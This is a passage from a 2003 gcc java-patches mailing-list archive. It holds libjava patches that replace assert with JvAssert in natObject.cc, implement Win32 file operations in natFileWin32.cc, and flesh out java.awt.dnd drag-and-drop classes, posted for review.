JvAssert(0 == he -> heavy_count || (address & HEAVY)); > heavy_lock *hl = get_heavy(addr, he); > ++ (he -> heavy_count); > release_set(&(he -> address), address | HEAVY); > @@ -1006,17 +1005,17 @@ > he -> light_count = count - 1; > return; > } > - assert(he -> light_thr_id == self); > - assert(address & REQUEST_CONVERSION); > + JvAssert(he -> light_thr_id == self); > + JvAssert(address & REQUEST_CONVERSION); > // Conversion requested > // Convert now. > if (!compare_and_swap(&(he -> address), address, > address | LOCKED)) > goto retry; > heavy_lock *hl = find_heavy(addr, he); > - assert (0 != hl); > + JvAssert (0 != hl); > // Requestor created it. > he -> light_count = 0; > - assert(he -> heavy_count > 0); > + JvAssert(he -> heavy_count > 0); > // was incremented by requestor. > _Jv_MutexLock(&(hl->si.mutex)); > // Release the he lock after acquiring the mutex. > @@ -1033,8 +1032,8 @@ > return; > } > // lightweight lock not for this object. > - assert(!(address & LOCKED)); > - assert((address & ~FLAGS) != addr); > + JvAssert(!(address & LOCKED)); > + JvAssert((address & ~FLAGS) != addr); > if (!compare_and_swap(&(he -> address), address, address | LOCKED)) > goto retry; > heavy_lock *hl = find_heavy(addr, he); > @@ -1049,9 +1048,9 @@ > throw new java::lang::IllegalMonitorStateException( > JvNewStringLatin1("current thread not owner")); > } > - assert(address & HEAVY); > + JvAssert(address & HEAVY); > count = he -> heavy_count; > - assert(count > 0); > + JvAssert(count > 0); > --count; > he -> heavy_count = count; > if (0 == count) > @@ -1160,7 +1159,7 @@ > throw new IllegalMonitorStateException (JvNewStringLatin1 > ("current thread not owner")); > } > - assert(address & HEAVY); > + JvAssert(address & HEAVY); > } > switch (_Jv_CondWait (&(hl->si.condition), > &(hl->si.mutex), timeout, nanos)) > { > ------_=_NextPart_000_01C2DDEE.3689CA30 Content-Type: application/octet-stream; name="natObjectdiff" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="natObjectdiff" Index: libjava/java/lang/natObject.cc=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: /cvs/gcc/gcc/libjava/java/lang/natObject.cc,v=0A= retrieving revision 1.24=0A= diff -u -r1.24 natObject.cc=0A= --- libjava/java/lang/natObject.cc 31 Dec 2002 17:43:47 -0000 1.24=0A= +++ libjava/java/lang/natObject.cc 19 Feb 2003 00:40:32 -0000=0A= @@ -353,7 +353,7 @@=0A= obj_addr_t address; // Object to which this lock corresponds.=0A= // Should not be traced by GC.=0A= // Cleared as heavy_lock is destroyed.=0A= - // Together with the rest of the hevy lock=0A= + // Together with the rest of the heavy lock=0A= // chain, this is protected by the lock=0A= // bit in the hash table entry to which=0A= // the chain is attached.=0A= @@ -459,12 +459,12 @@=0A= };=0A= =0A= #ifndef JV_SYNC_TABLE_SZ=0A= -# define JV_SYNC_TABLE_SZ 2048=0A= +# define JV_SYNC_TABLE_SZ 2048 // Must be power of 2.=0A= #endif=0A= =0A= hash_entry light_locks[JV_SYNC_TABLE_SZ];=0A= =0A= -#define JV_SYNC_HASH(p) (((long)p ^ ((long)p >> 10)) % = JV_SYNC_TABLE_SZ)=0A= +#define JV_SYNC_HASH(p) (((long)p ^ ((long)p >> 10)) & = (JV_SYNC_TABLE_SZ-1))=0A= =0A= // Note that the light_locks table is scanned conservatively by the=0A= // collector. It is essential the the heavy_locks field is = scanned.=0A= ------_=_NextPart_000_01C2DDEE.3689CA30-- From java-patches-return-6283-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 27 01:42:31 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31025 invoked by alias); 27 Feb 2003 01:42:30 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31016 invoked from network); 27 Feb 2003 01:42:30 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 27 Feb 2003 01:42:30 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18oD3s-00053R-00 for ; Thu, 27 Feb 2003 02:42:12 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18oD3r-00053H-00 for ; Thu, 27 Feb 2003 02:42:11 +0100 From: Ranjit Mathew Subject: Patch: Unimplemented functions in natFileWin32.cc Date: Thu, 27 Feb 2003 07:14:47 +0530 Lines: 265 Message-ID: <3E5D6D8F.C5603015@hotmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org X-Accept-Language: en Hi, This patch fleshes out the unimplemented portions of "java/io/natFileWin32.cc" so that methods like File.listRoots( ), File.createNewFile( ), etc. start working on Win32. In the process, I found a bug in "java/io/File.java" w.r.t. to stripping out trailing separator character - on Win32, "a:\" is a perfectly valid and minimal path and this used to be truncated to "a:" which is wrong. This bug prevented File.listRoots( ) from working correctly. BTW, since I have another patch affecting File.java and natFileWin32.cc pending approval, I have taken the liberty to take this diff against the patched versions of these files - if that patch is approved and committed, this patch should apply cleanly. And I had a minor error in the isAbsolute( ) method in natFileWin32.cc in the previous patch, which is also fixed by this patch. Ranjit. Index: ChangeLog from Ranjit Mathew * java/io/File.java (normalizePath): Remove trailing separator on Windows only if path is not of the form "x:\". * java/io/natFileWin32.cc (WIN32_EPOCH_MILLIS): New constant. (java::io::File::attr): Change formatting a bit and use WIN32_EPOCH_MILLIS instead of magic numbers. (java::io::File::isAbsolute): Path must have at least 3 characters for a UNC network path. (java::io::File::init_native): Define. (java::io::File::performCreate): Likewise. (java::io::File::performSetReadOnly): Likewise. (java::io::File::performSetLastModified): Likewise. (java::io::File::performListRoots): Likewise. Index: java/io/File.java =================================================================== --- java/io/File.java 2003-02-27 00:42:43.000000000 +0530 +++ java/io/File.java 2003-02-27 01:15:27.000000000 +0530 @@ -97,7 +97,11 @@ if (dupIndex == -1) { - // Ignore trailing separator. - if (plen > 1 && p.charAt(plen - 1) == separatorChar) - return p.substring(0, plen - 1); + // Ignore trailing separator (though on Windows "a:\", for + // example, is a valid and minimal path). + if (plen > 1 && p.charAt (plen - 1) == separatorChar) + if (separatorChar == '\\' && plen == 3 && p.charAt (1) == ':') + ; + else + return p.substring (0, plen - 1); else return p; @@ -121,8 +125,14 @@ } - // Again, ignore possible trailing separator. + // Again, ignore possible trailing separator (except special cases + // like "a:\" on Windows). int end; - if (plen > 1 && p.charAt(plen - 1) == separatorChar) - end = plen - 1; + if (plen > 1 && p.charAt (plen - 1) == separatorChar) + { + if (separatorChar == '\\' && plen == 3 && p.charAt (1) == ':') + end = plen; + else + end = plen - 1; + } else end = plen; Index: java/io/natFileWin32.cc =================================================================== --- java/io/natFileWin32.cc 2003-02-26 21:28:16.000000000 +0530 +++ java/io/natFileWin32.cc 2003-02-27 02:35:04.000000000 +0530 @@ -27,4 +27,17 @@ #include +// Java timestamps are milliseconds since the UNIX epoch (00:00:00 UTC on +// January 1, 1970) while Win32 file-times are 100-nanosecond intervals +// since the Win32 epoch (00:00:00 UTC on January 1, 1601). The following +// constant represents the number of milliseconds to be added to a +// Java timestamp to base it on the Win32 epoch. +// +// There were 369 years between 1601 and 1970, including 89 leap years +// (since 1700, 1800 and 1900 were not leap years): +// +// (89*366 + 280*365) days * 86400 seconds/day = 11644473600 seconds +// +#define WIN32_EPOCH_MILLIS 11644473600000LL + jboolean java::io::File::_access (jint query) @@ -92,10 +105,14 @@ if (query == LENGTH) - return ((long long)info.nFileSizeHigh) << 32 | (unsigned long long)info.nFileSizeLow; - else { - // FIXME? This is somewhat compiler dependant (the LL constant suffix) - // The file time as return by windows is the number of 100-nanosecond intervals since January 1, 1601 - return (((((long long)info.ftLastWriteTime.dwHighDateTime) << 32) | ((unsigned long long)info.ftLastWriteTime.dwLowDateTime)) - 116444736000000000LL) / 10000LL; - } + return ((long long)info.nFileSizeHigh) << 32 + | (unsigned long long)info.nFileSizeLow; + else + { + // The file time as returned by Windows is in terms of the number + // of 100-nanosecond intervals since 00:00:00 UTC, January 1, 1601. + return (((((long long)info.ftLastWriteTime.dwHighDateTime) << 32) + | ((unsigned long long)info.ftLastWriteTime.dwLowDateTime)) + - WIN32_EPOCH_MILLIS*10000LL) / 10000LL; + } } @@ -121,5 +138,5 @@ { // See if the path represents a Windows UNC network path. - if (path->length () > 1 + if (path->length () > 2 && (path->charAt (0) == '\\') && (path->charAt (1) == '\\')) return true; @@ -139,6 +156,9 @@ } -void java::io::File::init_native() { } - +void java::io::File::init_native () +{ + maxPathLen = MAX_PATH; + caseSensitive = false; +} jobjectArray @@ -195,5 +215,4 @@ } - jboolean java::io::File::performMkdir (void) @@ -238,6 +257,111 @@ } -jboolean java::io::File::performCreate (void) { JvFail("unimplemented\n"); } -jboolean java::io::File::performSetReadOnly() { JvFail("unimplemented"); } -jboolean java::io::File::performSetLastModified(jlong time) { JvFail("unimplemented"); } -JArray* java::io::File::performListRoots() { JvFail("unimplemented"); } +jboolean java::io::File::performCreate (void) +{ + jstring canon = getCanonicalPath (); + char *buf = (char *) __builtin_alloca (JvGetStringUTFLength (canon) + 1); + jsize total = JvGetStringUTFRegion (canon, 0, canon->length (), buf); + buf[total] = '\0'; + + HANDLE h = CreateFile (buf, 0, 0, NULL, CREATE_NEW, + FILE_ATTRIBUTE_NORMAL, NULL); + if (h != INVALID_HANDLE_VALUE) + { + CloseHandle (h); + return true; + } + else + { + if (GetLastError () == ERROR_ALREADY_EXISTS) + return false; + else + throw new IOException (JvNewStringLatin1 ("CreateFile failed")); + } +} + +jboolean java::io::File::performSetReadOnly () +{ + jstring canon = getCanonicalPath (); + char *buf = (char *) __builtin_alloca (JvGetStringUTFLength (canon) + 1); + jsize total = JvGetStringUTFRegion (canon, 0, canon->length (), buf); + buf[total] = '\0'; + + DWORD attrs = GetFileAttributes (buf); + if (attrs != INVALID_FILE_ATTRIBUTES) + { + if (SetFileAttributes (buf, attrs | FILE_ATTRIBUTE_READONLY) != 0) + return true; + else + return false; + } + else + return false; +} + +jboolean java::io::File::performSetLastModified (jlong time) +{ + jstring canon = getCanonicalPath (); + char *buf = (char *) __builtin_alloca (JvGetStringUTFLength (canon) + 1); + jsize total = JvGetStringUTFRegion (canon, 0, canon->length (), buf); + buf[total] = '\0'; + + FILETIME modTime; + long long mTime100ns = ((long long) time /* Ha! */ + + WIN32_EPOCH_MILLIS) * 10000LL; + + modTime.dwLowDateTime = (DWORD) mTime100ns; + modTime.dwHighDateTime = (DWORD) (mTime100ns >> 32); + + jboolean retVal = false; + HANDLE h = CreateFile (buf, FILE_WRITE_ATTRIBUTES, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, OPEN_EXISTING, 0, NULL); + + if (h != INVALID_HANDLE_VALUE) + { + if (SetFileTime (h, NULL, &modTime, &modTime) != 0) + retVal = true; + + CloseHandle (h); + } + + return retVal; +} + +JArray* java::io::File::performListRoots () +{ + DWORD drivesBitmap = GetLogicalDrives (); + DWORD mask; + + // Possible drive letters are from ASCII 'A'-'Z'. + int numDrives = 0; + mask = 1; + for (int i = 0; i < 26; i++) + { + if ((drivesBitmap & mask) != 0) + numDrives++; + mask <<= 1; + } + + JArray *roots + = reinterpret_cast *> + (JvNewObjectArray (numDrives, &java::io::File::class$, NULL)); + + ::java::io::File **rootsArray = elements (roots); + + char aDriveRoot[] = {'A', ':', '\\', '\0'}; + mask = 1; + for (int i = 0, j = 0; i < 26; i++) + { + if ((drivesBitmap & mask) != 0) + { + rootsArray[j] + = new ::java::io::File (JvNewStringLatin1 (aDriveRoot)); + j++; + } + mask <<= 1; + aDriveRoot[0]++; + } + + return roots; +} From java-patches-return-6284-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 27 07:31:13 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31209 invoked by alias); 27 Feb 2003 07:31:12 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31201 invoked from network); 27 Feb 2003 07:31:12 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.10) by 172.16.49.205 with SMTP; 27 Feb 2003 07:31:12 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-69-204.ewetel.net [80.228.69.204]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h1R7V8Nt016962 for ; Thu, 27 Feb 2003 08:31:09 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.awt.dnd Date: Thu, 27 Feb 2003 08:31:28 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_Q7bX+Upom9n5zW1" Message-Id: <200302270831.31355.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_Q7bX+Upom9n5zW1 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I've written a patch for java.awt.dnd. Please review and comment on=20 it. This should go into classpath (and 3.3 branch if possible). Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+Xb7TWSOgCCdjSDsRAhjdAJwPwH1FHYoAkgTTiyjypMO0Sv7PDwCePKwD 5ggycSoVLo1gCAdCYyABens=3D =3DUVIX =2D----END PGP SIGNATURE----- --Boundary-00=_Q7bX+Upom9n5zW1 Content-Type: text/x-diff; charset="iso-8859-15"; name="dnd.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="dnd.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1734 diff -u -r1.1734 ChangeLog --- ChangeLog 25 Feb 2003 11:09:43 -0000 1.1734 +++ ChangeLog 27 Feb 2003 07:27:49 -0000 @@ -1,3 +1,82 @@ +2003-02-27 Michael Koch + + * java/awt/dnd/DnDEventMulticaster.java: New file. + * java/awt/dnd/DragSource.java + (flavorMap): New member variable. + (dragSourceListener): New member variable. + (dragSourceMotionListener): New member variable. + (getFlavorMap): Implemented. + (createDragGestureRecognizer): Implemented. + (addDragSourceListener): Implemented. + (removeDragSourceListener): Implemented. + (getDragSourceListeners): Implemented. + (addDragSourceMotionListener): Implemented. + (removeDragSourceMotionListener): Implemented. + (getDragSourceMotionListeners): Implemented. + (getListeners): Implemented. + * java/awt/dnd/DragSourceContext.java + (peer): New member variable. + (cursor): New member variable. + (transferable): New member variable. + (trigger): New member variable. + (dragSourceListener): New member variable. + (image): New member variable. + (offset): New member variable. + (DragSourceContext): Implemented. + (getDragSource): Implemented. + (getComponent): Implemented. + (getTrigger): Implemented. + (getSourceActions): Implemented. + (setCursor): Implemented. + (getCursor): Implemented. + (addDragSourceListener): Implemented. + (removeDragSourceListener): Implemented. + (getTransferable): Implemented. + * java/awt/dnd/DropTarget.java + (DropTargetAutoScroller.component): New member variable. + (DropTargetAutoScroller.point): New member variable. + (DropTargetAutoScroller.DropTargetAutoScroller): Implemented. + (DropTargetAutoScroller.updateLocation): Implemented. + (active): Renamed from isActive, defaults to true now. + (component): New member variable. + (flavorMap): New member variable. + (actions): New member variable. + (dropTargetContext): New member variable. + (dropTargetListener): New member variable. + (DropTarget): Implemented. + (getComponent): Implemented. + (setComponent): Implemented. + (setDefaultActions): Implemented. + (getDefaultActions): Implemented. + (setActive): Use active instead of isActive. + (isActive): Use active instead of isActive. + (addDropTargetListener): Implemented. + (removeDropTargetListener): Implemented. + (getFlavorMap): Implemented. + (setFlavorMap): Implemented. + (getDropTargetContext): Implemented. + (createDropTargetContext): Implemented. + (createDropTargetAutoScroller): Implemented. + * java/awt/dnd/DropTargetContext.java + (TransferableProxy.getTransferDataFlavors): Implemented. + (TransferableProxy.isDataFlavorSupported): Implemented. + (TransferableProxy.getTransferData): Implemented. + (dropTarget): New member variable. + (dtcp): New member variable. + (DropTargetContext): New package private constructor. + (getDropTarget): Implemented. + (getComponent): Implemented. + (addNotify): Implemented. + (removeNotify): Implemented. + (getCurrentDataFlavorsAsList): Implemented. + (isDataFlavorSupported): Implemented. + * java/awt/dnd/MouseDragGestureRecognizer.java + (registerListeners): Implemented. + (unregisterListeners): Implemented. + * Makefile.am + (awt_java_source_files): Added java/awt/dnd/DnDEventMulticaster.java. + * Makefile.in: Regenerated. + 2003-02-25 Michael Koch * gnu/java/nio/MappedByteFileBuffer.java, Index: Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.280 diff -u -r1.280 Makefile.am --- Makefile.am 24 Feb 2003 02:15:42 -0000 1.280 +++ Makefile.am 27 Feb 2003 07:27:50 -0000 @@ -1035,6 +1035,7 @@ java/awt/dnd/peer/DragSourceContextPeer.java \ java/awt/dnd/peer/DropTargetContextPeer.java \ java/awt/dnd/DnDConstants.java \ +java/awt/dnd/DnDEventMulticaster.java \ java/awt/dnd/DragGestureEvent.java \ java/awt/dnd/DragGestureListener.java \ java/awt/dnd/DragGestureRecognizer.java \ Index: Makefile.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.in,v retrieving revision 1.301 diff -u -r1.301 Makefile.in --- Makefile.in 24 Feb 2003 02:15:42 -0000 1.301 +++ Makefile.in 27 Feb 2003 07:27:53 -0000 @@ -804,6 +804,7 @@ java/awt/dnd/peer/DragSourceContextPeer.java \ java/awt/dnd/peer/DropTargetContextPeer.java \ java/awt/dnd/DnDConstants.java \ +java/awt/dnd/DnDEventMulticaster.java \ java/awt/dnd/DragGestureEvent.java \ java/awt/dnd/DragGestureListener.java \ java/awt/dnd/DragGestureRecognizer.java \ @@ -3042,6 +3043,7 @@ .deps/java/awt/datatransfer/Transferable.P \ .deps/java/awt/datatransfer/UnsupportedFlavorException.P \ .deps/java/awt/dnd/Autoscroll.P .deps/java/awt/dnd/DnDConstants.P \ +.deps/java/awt/dnd/DnDEventMulticaster.P \ .deps/java/awt/dnd/DragGestureEvent.P \ .deps/java/awt/dnd/DragGestureListener.P \ .deps/java/awt/dnd/DragGestureRecognizer.P \ Index: java/awt/dnd/DnDEventMulticaster.java =================================================================== RCS file: java/awt/dnd/DnDEventMulticaster.java diff -N java/awt/dnd/DnDEventMulticaster.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/awt/dnd/DnDEventMulticaster.java 27 Feb 2003 07:27:53 -0000 @@ -0,0 +1,74 @@ +/* DnDEventMulticaster.java -- helper class for listener chains in java.awt.dnd + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package java.awt.dnd; + +import java.awt.AWTEventMulticaster; +import java.util.EventListener; + +class DnDEventMulticaster extends AWTEventMulticaster +{ + protected DnDEventMulticaster (EventListener a, EventListener b) + { + super (a, b); + } + + public static DragSourceListener add (DragSourceListener a, + DragSourceListener b) + { + return (DragSourceListener) addInternal (a, b); + } + + public static DragSourceMotionListener add (DragSourceMotionListener a, + DragSourceMotionListener b) + { + return (DragSourceMotionListener) addInternal (a, b); + } + + public static DragSourceListener remove (DragSourceListener a, + DragSourceListener b) + { + return (DragSourceListener) removeInternal (a, b); + } + + public static DragSourceMotionListener remove (DragSourceMotionListener a, + DragSourceMotionListener b) + { + return (DragSourceMotionListener) removeInternal (a, b); + } +} Index: java/awt/dnd/DragSource.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/dnd/DragSource.java,v retrieving revision 1.2 diff -u -r1.2 DragSource.java --- java/awt/dnd/DragSource.java 2 Jan 2003 00:14:23 -0000 1.2 +++ java/awt/dnd/DragSource.java 27 Feb 2003 07:27:53 -0000 @@ -44,12 +44,20 @@ import java.awt.HeadlessException; import java.awt.Image; import java.awt.Point; +import java.awt.Toolkit; import java.awt.datatransfer.FlavorMap; +import java.awt.datatransfer.SystemFlavorMap; import java.awt.datatransfer.Transferable; import java.awt.dnd.peer.DragSourceContextPeer; +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; import java.io.Serializable; import java.util.EventListener; +/** + * @since 1.2 + */ public class DragSource implements Serializable { /** @@ -64,6 +72,11 @@ public static final Cursor DefaultMoveNoDrop = null; public static final Cursor DefaultLinkNoDrop = null; + private transient FlavorMap flavorMap = SystemFlavorMap.getDefaultFlavorMap (); + + private transient DragSourceListener dragSourceListener; + private transient DragSourceMotionListener dragSourceMotionListener; + /** * Initializes the drag source. * @@ -159,51 +172,89 @@ public FlavorMap getFlavorMap() { - return null; + return flavorMap; } public DragGestureRecognizer createDragGestureRecognizer(Class recognizer, Component c, int actions, DragGestureListener dgl) { - return null; + return Toolkit.getDefaultToolkit () + .createDragGestureRecognizer (recognizer, this, c, actions, + dgl); } public DragGestureRecognizer createDefaultDragGestureRecognizer(Component c, int actions, DragGestureListener dgl) { - return null; + return createDragGestureRecognizer (MouseDragGestureRecognizer.class, c, + actions, dgl); } + /** + * @since 1.4 + */ public void addDragSourceListener(DragSourceListener l) { + DnDEventMulticaster.add (dragSourceListener, l); } + /** + * @since 1.4 + */ public void removeDragSourceListener(DragSourceListener l) { + DnDEventMulticaster.remove (dragSourceListener, l); } + /** + * @since 1.4 + */ public DragSourceListener[] getDragSourceListeners() { - return null; + return (DragSourceListener[]) getListeners (DragSourceListener.class); } + /** + * @since 1.4 + */ public void addDragSourceMotionListener(DragSourceMotionListener l) { + DnDEventMulticaster.add (dragSourceMotionListener, l); } + /** + * @since 1.4 + */ public void removeDragSourceMotionListener(DragSourceMotionListener l) { + DnDEventMulticaster.remove (dragSourceMotionListener, l); } + /** + * @since 1.4 + */ public DragSourceMotionListener[] getDragSourceMotionListeners() { - return null; + return (DragSourceMotionListener[]) getListeners + (DragSourceMotionListener.class); } - public EventListener[] getListeners(Class type) + /** + * @since 1.4 + */ + public EventListener[] getListeners(Class listenerType) { - return null; + if (listenerType == DragSourceListener.class) + return DnDEventMulticaster.getListeners (dragSourceListener, + listenerType); + + if (listenerType == DragSourceMotionListener.class) + return DnDEventMulticaster.getListeners (dragSourceMotionListener, + listenerType); + + // Return an empty EventListener array. + return new EventListener [0]; } } // class DragSource Index: java/awt/dnd/DragSourceContext.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/dnd/DragSourceContext.java,v retrieving revision 1.4 diff -u -r1.4 DragSourceContext.java --- java/awt/dnd/DragSourceContext.java 17 Feb 2003 15:26:30 -0000 1.4 +++ java/awt/dnd/DragSourceContext.java 27 Feb 2003 07:27:53 -0000 @@ -44,12 +44,21 @@ import java.awt.Point; import java.awt.datatransfer.Transferable; import java.awt.dnd.peer.DragSourceContextPeer; +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; import java.io.Serializable; import java.util.TooManyListenersException; +/** + * @since 1.2 + */ public class DragSourceContext implements DragSourceListener, DragSourceMotionListener, Serializable { + /** + * Compatible with JDK 1.2+ + */ static final long serialVersionUID = -115407898692194719L; protected static final int DEFAULT = 0; @@ -57,39 +66,79 @@ protected static final int OVER = 2; protected static final int CHANGED = 3; - public DragSourceContext(DragSourceContextPeer peer, DragGestureEvent dge, - Cursor cursor, Image image, Point offset, - Transferable trans, DragSourceListener dsl) - { + private DragSourceContextPeer peer; + private Cursor cursor; + private Transferable transferable; + private DragGestureEvent trigger; + private DragSourceListener dragSourceListener; + private Image image; + private Point offset; + + /** + * Initializes a drag source context. + * + * @exception IllegalArgumentException If Component or DragSource of trigger + * are null, the drag action for the trigger event is DnDConstants.ACTION_NONE + * or if the source actions for the DragGestureRecognizer associated with the + * trigger event are equal to DnDConstants.ACTION_NONE. + * @exception NullPointerException If peer or trigger is null. + */ + public DragSourceContext (DragSourceContextPeer peer, + DragGestureEvent trigger, Cursor cursor, + Image image, Point offset, Transferable trans, + DragSourceListener dsl) + { + if (peer == null + || trigger == null) + throw new NullPointerException (); + + if (trigger.getComponent () == null + || trigger.getDragSource () == null + || trigger.getDragAction () == DnDConstants.ACTION_NONE + || trigger.getSourceAsDragGestureRecognizer () + .getSourceActions () == DnDConstants.ACTION_NONE) + throw new IllegalArgumentException (); + + this.peer = peer; + this.trigger = trigger; + this.cursor = cursor; + this.image = image; + this.offset = offset; + this.transferable = trans; + this.dragSourceListener = dsl; + + throw new Error ("not implemented"); } public DragSource getDragSource() { - return null; + return trigger.getDragSource (); } public Component getComponent() { - return null; + return trigger.getComponent (); } public DragGestureEvent getTrigger() { - return null; + return trigger; } public int getSourceActions() { - return 0; + return trigger.getSourceAsDragGestureRecognizer ().getSourceActions (); } - public void setCursor(Cursor c) + public void setCursor (Cursor cursor) { + this.cursor = cursor; + // FIXME: Check if we need to do more here } public Cursor getCursor() { - return null; + return cursor; } /** @@ -101,10 +150,16 @@ public void addDragSourceListener (DragSourceListener dsl) throws TooManyListenersException { + if (dragSourceListener != null) + throw new TooManyListenersException (); + + dragSourceListener = dsl; } public void removeDragSourceListener(DragSourceListener l) { + if (dragSourceListener == dsl) + dragSourceListener = null; } public void transferablesFlavorsChanged() @@ -137,7 +192,7 @@ public Transferable getTransferable() { - return null; + return transferable; } protected void updateCurrentCursor(int dropOp, int targetAct, int status) Index: java/awt/dnd/DropTarget.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/dnd/DropTarget.java,v retrieving revision 1.5 diff -u -r1.5 DropTarget.java --- java/awt/dnd/DropTarget.java 17 Feb 2003 15:26:30 -0000 1.5 +++ java/awt/dnd/DropTarget.java 27 Feb 2003 07:27:53 -0000 @@ -39,6 +39,8 @@ import java.awt.Point; import java.awt.Component; +import java.awt.GraphicsEnvironment; +import java.awt.HeadlessException; import java.awt.datatransfer.FlavorMap; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; @@ -46,7 +48,10 @@ import java.util.EventListener; import java.util.TooManyListenersException; -/** STUB CLASS ONLY */ +/** + * @author Michael Koch + * @since 1.2 + */ public class DropTarget implements DropTargetListener, EventListener, Serializable { @@ -58,12 +63,18 @@ protected static class DropTargetAutoScroller implements ActionListener { + private Component component; + private Point point; + protected DropTargetAutoScroller (Component c, Point p) { + component = c; + point = p; } protected void updateLocation (Point newLocn) { + point = newLocn; } protected void stop () @@ -74,9 +85,13 @@ { } } - - // FIXME: check the correctness of default value. - private boolean isActive = false; + + private Component component; + private FlavorMap flavorMap; + private int actions; + private DropTargetContext dropTargetContext; + private DropTargetListener dropTargetListener; + private boolean active = true; /** * Creates a DropTarget object. @@ -131,6 +146,15 @@ public DropTarget (Component c, int i, DropTargetListener dtl, boolean b, FlavorMap fm) { + if (GraphicsEnvironment.isHeadless ()) + throw new HeadlessException (); + + component = c; + actions = i; + dropTargetListener = dtl; + flavorMap = fm; + + setActive (b); } /** @@ -138,6 +162,7 @@ */ public void setComponent (Component c) { + component = c; } /** @@ -145,7 +170,7 @@ */ public Component getComponent () { - return null; + return component; } /** @@ -153,6 +178,7 @@ */ public void setDefaultActions (int ops) { + actions = ops; } /** @@ -160,17 +186,17 @@ */ public int getDefaultActions () { - return 0; + return actions; } - public void setActive(boolean isActive) + public void setActive (boolean active) { - this.isActive = isActive; + this.active = active; } public boolean isActive() { - return this.isActive; + return active; } /** @@ -182,10 +208,16 @@ public void addDropTargetListener (DropTargetListener dtl) throws TooManyListenersException { + if (dtl != null) + throw new TooManyListenersException (); + + dropTargetListener = dtl; } public void removeDropTargetListener(DropTargetListener dtl) { + // FIXME: Do we need to do something with dtl ? + dropTargetListener = null; } public void dragEnter(DropTargetDragEvent dtde) @@ -210,11 +242,12 @@ public FlavorMap getFlavorMap() { - return null; + return flavorMap; } public void setFlavorMap(FlavorMap fm) { + flavorMap = fm; } public void addNotify(java.awt.peer.ComponentPeer peer) @@ -227,18 +260,21 @@ public DropTargetContext getDropTargetContext() { - return null; + if (dropTargetContext == null) + dropTargetContext = createDropTargetContext (); + + return dropTargetContext; } protected DropTargetContext createDropTargetContext() { - return null; + return new DropTargetContext (this); } protected DropTarget.DropTargetAutoScroller createDropTargetAutoScroller (Component c, Point p) { - return null; + return new 